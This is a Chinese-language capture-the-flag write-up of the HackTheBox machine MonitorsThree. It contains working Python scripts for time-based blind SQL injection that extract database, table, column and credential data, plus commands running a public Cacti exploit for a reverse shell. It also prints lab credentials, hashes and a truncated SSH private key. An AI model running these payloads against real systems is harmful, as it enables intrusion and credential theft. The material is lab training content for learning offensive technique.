> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md).

# MonitorsThree HackTheBox 复盘

MonitorsThree HackTheBox 中等 Linux 机器复盘，涵盖子域枚举、SQLI - 手动基于时间的盲注（Python 脚本）、破解哈希、Cacti 利用（CVE-2024-25642）

{% embed url="<https://app.hackthebox.com/machines/622>" %}

{% hint style="warning" %}
**技能：**

* 子域枚举
* SQLI - 手动基于时间的盲注（Python 脚本）
* 破解哈希
* Cacti 利用（CVE-2024-25642）- 恶意包导入
* 信息泄露
* 内部服务利用 - Duplicati
* 滥用 Duplicati - 使用服务器口令绕过登录认证
* Duplicati - 创建用于以特权读取和写入文件的备份（权限提升）
  {% endhint %}

## 侦察 <a href="#reconnaissance" id="reconnaissance"></a>

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-248cee7ecd7dfbe0bf72b945d8732854e3731987%2Fimage%20(2306).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dada986844b36b784c989ab9a79593a54918c3a5%2Fimage%20(2307).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.30 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e04459a2a02bd8a1cbea3ab0856af4c78610b03%2Fimage%20(2308).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将其复制到剪贴板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2289a18c2e887d96f2bf9c3a71b02fc7d8c68cd%2Fimage%20(2309).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p80,22 10.10.11.30 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-678a8073e2483768f03912c24ba86d8f58196890%2Fimage%20(2310).png?alt=media" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed84638a21d781227e5afd768b7422c60c6592e8%2Fimage%20(2311).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b24bad742bf695cee988b2df9c516d53a177fc22%2Fimage%20(2312).png?alt=media" alt=""><figcaption></figcaption></figure>

### 目录列表：

**仅搜索** 目录

```bash
gobuster dir -u http://monitorsthree.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e91576799bde076e18e2d659c440c3a84ae40fad%2Fimage%20(1332).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/* 在 admin 目录中搜索具有特定扩展名（PHP、HTML、TXT）的文件：/*/*

```bash
gobuster dir -u http://monitorsthree.htb/admin/ -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -t 50 -b '' -x html,php,txt -s 200
```

我们找到 `db.php` 文件，但其中不包含任何数据。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28717970baac1f37489e0027c484309c3e134684%2Fimage%20(1333).png?alt=media" alt=""><figcaption></figcaption></figure>

## SQL 注入

#### 漏洞检测

我们在“Forgot Password”功能中发现了一个 SQL 漏洞。使用以下 payload 来确认漏洞：

```sql
admin' or 1=1-- -
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2413239952363812a420725e649f6ba899ccb99%2Fimage%20(1163).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 使用基于时间的攻击确认漏洞

为了确认漏洞，我们使用了基于时间的 SQL 攻击：

```sql
admin' and sleep(5)-- -
```

响应耗时 5 秒，从而确认了漏洞。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e746b207e5c62a3e8932ad306e9f15dd87da9d41%2Fimage%20(2772).png?alt=media" alt=""><figcaption></figcaption></figure>

## **基于时间的 SQL 注入**

#### 使用 Python 脚本自动化利用

我们开发了一个 Python 脚本来自动化通过 SQL 注入进行数据提取。该脚本提取了数据库名、表名、列，最后提取了用户名和密码等敏感数据。

### 数据库：

**提取数据库名的脚本示例：**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1
```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# 日志配置
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info("开始 SQL 注入攻击...")
    
    for position in range(1, 100):
        character_found = False  # 用于检查是否找到字符的指示器
        
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            
            logger.debug(f"测试：{payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"请求失败：{e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"目前提取的数据：{extracted_data}")
                character_found = True  # 找到了一个字符
                break
        
        # 如果在此位置没有找到字符，则停止循环
        if not character_found:
            logger.info(f"在位置 {position} 未找到字符。结束提取。")
            break
    
    logger.info("SQL 注入完成！")
    logger.info(f"最终提取的数据：{extracted_data}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="执行基于时间的 SQL 注入攻击。")
    parser.add_argument("--url", required=True, help="SQL 注入的目标 URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQL 注入的延迟时间")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **数据库名**: `monitorsthree_db`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c93af63a28a5ab1dc190fd65c03c55884463a54c%2Fimage%20(2773).png?alt=media" alt=""><figcaption></figcaption></figure>

### **数据库列表：**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# 日志配置
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"正在提取偏移量 {offset} 处的数据库名...")
    
    for position in range(1, 100):
        character_found = False  # 用于检查是否找到字符的指示器
        
        for character in characters:
            # 使用所有必需变量格式化 SQL 请求
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"测试：{payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"请求失败：{e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"目前提取的数据：{extracted_data}")
                character_found = True  # 找到了一个字符
                break
        
        # 如果在此位置没有找到字符，则停止循环
        if not character_found:
            logger.info(f"在位置 {position} 未找到字符。结束提取。")
            break
    
    return extracted_data

def sqli(target_url, delay=1):
    # 用于提取数据库名的请求
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    databases = []
    offset = 0
    
    while True:
        database_name = extract_data(target_url, delay, query_template, offset)
        
        if not database_name:
            logger.info("未找到更多数据库。")
            break
        
        databases.append(database_name)
        logger.info(f"找到数据库：{database_name}")
        offset += 1
    
    logger.info("SQL 注入完成！")
    logger.info(f"数据库列表：{databases}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="执行基于时间的 SQL 注入攻击。")
    parser.add_argument("--url", required=True, help="SQL 注入的目标 URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQL 注入的延迟时间")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6eb3556b428601990fd6f679865321d8108f12c3%2Fimage%20(2774).png?alt=media" alt=""><figcaption></figcaption></figure>

### **表：**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# 日志配置
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"正在提取偏移量 {offset} 处的表名...")
    
    for position in range(1, 100):
        character_found = False  # 用于检查是否找到字符的指示器
        
        for character in characters:
            # 使用所有必需变量格式化 SQL 请求
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"测试：{payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"请求失败：{e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"目前提取的数据：{extracted_data}")
                character_found = True  # 找到了一个字符
                break
        
        # 如果在此位置没有找到字符，则停止循环
        if not character_found:
            logger.info(f"在位置 {position} 未找到字符。结束提取。")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # 用于从 `monitorsthree_db` 数据库中提取表名的请求
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    tables = []
    offset = 0
    
    while True:
        table_name = extract_data(target_url, delay, query_template, offset)
        
        if not table_name:
            logger.info("未找到更多表。")
            break
        
        tables.append(table_name)
        logger.info(f"找到表：{table_name}")
        offset += 1
    
    logger.info("SQL 注入完成！")
    logger.info(f"monitorsthree_db 中的表列表：{tables}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="执行基于时间的 SQL 注入攻击。")
    parser.add_argument("--url", required=True, help="SQL 注入的目标 URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQL 注入的延迟时间")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **表** : `invoices`, `customers`, `changelog`, `tasks`, `invoice_tasks`, `users`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-817a935a59cbe3e0506f21f5c683c490be6eddaf%2Fimage%20(2775).png?alt=media" alt=""><figcaption></figcaption></figure>

### **列：**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# 日志配置
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"正在提取偏移量 {offset} 处的列名...")
    
    for position in range(1, 100):
        character_found = False  # 用于检查是否找到字符的指示器
        
        for character in characters:
            # 使用所有必需变量格式化 SQL 请求
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"测试：{payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"请求失败：{e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"目前提取的数据：{extracted_data}")
                character_found = True  # 找到了一个字符
                break
        
        # 如果在此位置没有找到字符，则停止循环
        if not character_found:
            logger.info(f"在位置 {position} 未找到字符。结束提取。")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # 用于从 `users` 表中提取列名的请求
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    columns = []
    offset = 0
    
    while True:
        column_name = extract_data(target_url, delay, query_template, offset)
        
        if not column_name:
            logger.info("未找到更多列。")
            break
        
        columns.append(column_name)
        logger.info(f"找到列：{column_name}")
        offset += 1
    
    logger.info("SQL 注入完成！")
    logger.info(f"表 'users' 中的列列表：{columns}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="执行基于时间的 SQL 注入攻击。")
    parser.add_argument("--url", required=True, help="SQL 注入的目标 URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQL 注入的延迟时间")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **表中的列 `users` 表**: `id`, `用户名`, `email`, `密码`, `name`, `位置`, `dob`, `start_date`, `salary`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca55f3adfc7f7b9f4216d91941c1b39326fbdb96%2Fimage%20(2776).png?alt=media" alt=""><figcaption></figcaption></figure>

### **已提取的数据**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# 日志配置
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] 正在退出.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"正在提取偏移量 {offset} 处的数据...")
    
    for position in range(1, 100):
        character_found = False  # 用于检查是否找到字符的指示器
        
        for character in characters:
            # 使用所有必需变量格式化 SQL 请求
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"测试：{payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"请求失败：{e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"目前提取的数据：{extracted_data}")
                character_found = True  # 找到了一个字符
                break
        
        # 如果在此位置没有找到字符，则停止循环
        if not character_found:
            logger.info(f"在位置 {position} 未找到字符。结束提取。")
            break
    
    return extracted_data

def extract_credentials(target_url, delay=0.85):
    # 用于提取用户名的请求
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    # 用于提取密码的请求
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    credentials = []
    offset = 0
    
    while True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        
        if not username or not password:
            logger.info("未找到更多凭据。")
            break
        
        credentials.append((username, password))
        logger.info(f"找到凭据：{username}:{password}")
        offset += 1
    
    logger.info("SQL 注入完成！")
    logger.info(f"凭据列表：{credentials}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="执行基于时间的 SQL 注入攻击以提取凭据。")
    parser.add_argument("--url", required=True, help="SQL 注入的目标 URL")
    parser.add_argument("--delay", type=float, default=0.85, help="SQL 注入的延迟时间")
    
    args = parser.parse_args()
    
    extract_credentials(args.url, args.delay)
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cd29fbeb0272277c22f5b2dd87b7118efa5161e%2Fimage%20(2779).png?alt=media" alt=""><figcaption></figcaption></figure>

* `admin:31a181c8372e3afc59dab863430610e8`
* `mwatson:c585d01f2eb3e6e1073e92023088a3dd`
* `janderson:1e68b6eb86b45f6d92f8f292428f77ac`
* `dthompson:633b683cc128fe244b00f176c8a950f5`

## 密码破解

{% embed url="<https://crackstation.net/>" %}

我们使用了 **CrackStation** 来破解哈希密码。获得了以下凭据：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6d50e74d72e1929319055a6263edd422f2d013e%2Fimage%20(2778).png?alt=media" alt=""><figcaption></figcaption></figure>

**标识符：**

* 用户： `admin`
* 密码： `greencacti2001`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1a10b5c0d10f80f09f9968b62102c9b549ff5bf%2F%7B99A84365-CAC2-4F99-B4C2-9ABCD5058FC7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### /*/* 子域名列表：/*/*

使用 Gobuster 命令枚举子域名：

```bash
gobuster vhost -u http://monitorsthree.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
```

我们找到 `cacti.monitorsthree.htb` 子域名。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e322e227b379179c1331148e3f3a6ae88f4b5d34%2Fimage%20(1334).png?alt=media" alt=""><figcaption></figcaption></figure>

我们将此条目添加到 `/etc/hosts`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd67f9878b1c7acc6b50c96efd384e65c455e34b%2Fimage%20(1336).png?alt=media" alt=""><figcaption></figcaption></figure>

**访问 Cacti 连接面板：**

该子域名上可访问 Cacti 连接面板，版本 1.2.26。使用 `admin:greencacti2001` 凭据，我们成功连接。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a9569ebcb6bc325f184ecc836aa6a69d39e4d900%2Fimage%20(1164).png?alt=media" alt=""><figcaption></figcaption></figure>

## Cacti RCE 漏洞利用 <a href="#cacti-rce-vulnerability-exploitation" id="cacti-rce-vulnerability-exploitation"></a>

{% embed url="<https://github.com/5ma1l/CVE-2024-25641>" %}

为了利用 Cacti 的 NCE 漏洞，我们将修改一个 PHP 文件并运行一个操作脚本：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b3d6ec067173955063f188a6077f764adf5af92%2Fimage%20(1168).png?alt=media" alt=""><figcaption></figcaption></figure>

该脚本会创建一个包含 PHP payload 的压缩文件，并将其注入目标服务器，从而让我们获得反向 shell。

{% code overflow="wrap" fullWidth="false" %}

```bash
python3 exploit.py http://cacti.monitorsthree.htb/cacti/ admin greencacti2001 -p php/monkey.php
```

{% endcode %}

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e78196f672197c437f48c04cbb6367761cbab65%2Fimage%20(1169).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## **权限提升：**

通过查看 `/var/www/html` Web 目录，我们在 `cacti` 文件夹中找到数据库文件，包括 `config.php` 位于 `/var/www/html/cacti/include/config.php`.

摘录自 `config.php`:

```php
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-84e41ca07ad68c8343c8acd11093c971f12f8971%2Fimage%20(1175).png?alt=media" alt=""><figcaption></figcaption></figure>

然后我们列出 `user_auth` 表中的用户 `cacti` 数据库：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40a6f46176b44e7cb72916ec6b677cacdc225d94%2F%7B141E5C94-E5A4-40AE-94DE-72A480601B50%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```sql
Select * from user_auth
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-111336a7dca78fd4386cddc21a2cea961cfef9fe%2Fimage%20(1176).png?alt=media" alt=""><figcaption></figcaption></figure></div>

我们使用 `john` 以破解恢复出的密码：

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

这会显示 `marcus` 用户密码： `12345678910`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-61e8d76fdca37cc18c0423ddeb8be7745f3a151e%2Fimage%20(1177).png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8cae48acc12129d2984229eb20ed898a6ce73e1b%2Fimage%20(1178).png?alt=media" alt=""><figcaption></figcaption></figure>

在这一步之后，我们还获得了 `marcus` 用户的 SSH 密钥：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-343a222d55a0209b1002bbbc6542cd8c563d9990%2Fimage%20(1159).png?alt=media" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
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
